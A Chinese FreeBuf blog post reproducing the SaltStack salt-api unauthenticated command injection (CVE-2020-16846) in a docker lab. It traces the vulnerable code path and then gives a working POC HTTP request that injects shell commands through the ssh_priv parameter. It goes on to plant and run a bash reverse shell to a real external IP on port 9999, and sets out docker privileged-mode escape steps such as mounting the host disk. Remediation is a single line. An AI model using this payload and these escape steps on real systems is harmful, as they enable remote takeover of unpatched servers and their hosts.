freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SaltStack未授权访问及命令执行漏洞分析(CVE-2020-16846)
FreeBuf_362329 2021-10-08 15:16:15 153543

参考文献一:
参考文献二:
参考文献三,原理内容值的一看:

啥是 SaltStack?

参看上面的参考文献

受影响的版本

以下SaltStack版本存在补丁:
    3002
    3001.1、3001.2
    3000.3、3000.4
    2019.2.5、2019.2.6
    2018.3.5
    2017.7.4、2017.7.8
    2016.11.3、2016.11.6、2016.11.10
    2016.3.4、2016.3.6、2016.3.8
    2015.8.10、2015.8.13

##漏洞分析

salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。
文中指定代码位置采用以下约定:FileLocation:Classname.method()
salt/netapi/init.py:NetapiClient.run()
image.png

low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给**kwargs。
当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(),该方法未采用任何鉴权。
salt/netapi/init.py:NetapiClient.ssh()
image.png

跟进,路径如下:
salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
salt/client/ssh/client.py:SSHClient._prep_ssh()

image.png

该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。
salt/client/ssh/init.py:SSH.init()

image.png

priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法。
salt/client/ssh/shell.py:gen_key()

image.png

该方法中对命令进行拼接,并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。

POC如下所示

image.png

请求:

`POST /run HTTP/1.1
Host: IP:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html, application/x-yaml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b`

响应:

`HTTP/1.1 200 OK
Content-Type: application/x-yaml
Server: CherryPy/18.6.0
Date: Thu, 07 Oct 2021 01:14:47 GMT
Allow: GET, HEAD, POST
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: GET, POST
Access-Control-Allow-Credentials: true
Vary: Accept-Encoding
Content-Length: 13
Connection: close
return:

  • {}`

成功地在docker中的/tmp/目录下面创建了success 文件,怎么查看文件?
docker ps --查看存活的docker容器,找到对应的容器ID
docker exec -it 容器ID /bin/bash -- 进入到容器里面,
cd /tmp/ | ls -- 进入到/tmp/目录下面,查看生成的文件

既然可以任意命令执行,所以就想着写个反弹shell

1.在通过命令创建反弹shell的文件(这里是隐藏文件)
cat .sh
bash -i >& /dev/tcp/远程主机IP/远程主机端口 0>&1
2.在目标机器上使用 wget 命令下载 该隐藏文件(可以在自己的攻击机上开启一个http服务比如apache等,然后使用wget来获取)这里是练习(启动一个apache服务,我的电脑会卡的要命,我就直接偷懒上传上去了),实践证明 wget命令是可以执行的
image.png

2.1 因为是任意命令的执行,所以我们首先创建文件,并向文件里面写入反弹shell的语句
使用命令创建文件
token=12312&client=ssh&tgt=&fun=a&roster=whip1ash&ssh_priv=
/|touch%20%20/tmp/.sh%3b
使用命令修改文件内容
token=12312&client=ssh&tgt=&fun=a&roster=whip1ash&ssh_priv=
/|echo%20%22bash%20-i%20%3e%26%20/dev/tcp/47.110.149.76/9999%20%20 0%3e%261%22%20>%20%20/tmp/.sh%3b
反弹shell的语句是:
echo "bash -i >& /dev/tcp/X.X.X.X/9999 0>&1"
2.2使用docker特权模式,进行文件的挂载,(这里是不对的,为了纯粹的上传文件,在该方法中是不对的)
docker-compuse 启动时候默认是没有开启特权模式
2.2.1对于docker-compose中,直接在配置添加 privileged:true ,然后重启docker
2.2.2对于docker 我们在启动的时候
docker run -it --name 容器名字  --privileged=true 镜像ID
2.2.3对于已经启动过程中的修改为特权模式启动的
#cd /var/lib/docker/containers//

#docker stop

#vim hostconfig.json
修改"Privileged":false  =>"Privileged":true
保存配置文件
#docker start

2.2.4 特权模式启动的docker
:::danger
以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达
到逃逸。
:::
执行以下命令,当结果等于 "0000003fffffffff" 时,说明是以特权模式启动的docker!!!
grep CapEff /proc/self/status

2.2.5 此时就可以进行docker逃逸了
在容器内部执行 fdisk -l

image.png

创建挂载目录
mkdir /mnt/mnt_test/
挂载目录,物理机的硬盘挂载到docker里面的/mnt/mnt_test
mount /dev/vda1 /mnt/mnt_test/
后面把shell文件移动(mv)到指定的位置

3.直接在/tmp/目录下面创建 .sh文件并赋予可执行的权限

给文件赋值权限(如果是去除权限 chmod u-x,g-x,o-x /tmp/.sh

image.png

执行shell文件

image.png

反弹shell成功!!!
image.png

4.修复建议
5.1 由于subprocess的参数shell设置为了True,表示要调用系统shell执行命令,进而造成命令拼接,进行RCE

# 漏洞复现
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_362329 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_362329 LV.1
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 3 关注者
Spring Security Oauth2 远程命令执行漏洞 Spring WebFlow 远程代码执行漏洞 Spring Data Rest Spring Messaging 远程命令执行漏
2021-01-04
ActiveMQ任意文件上传漏洞
2020-12-18
文章目录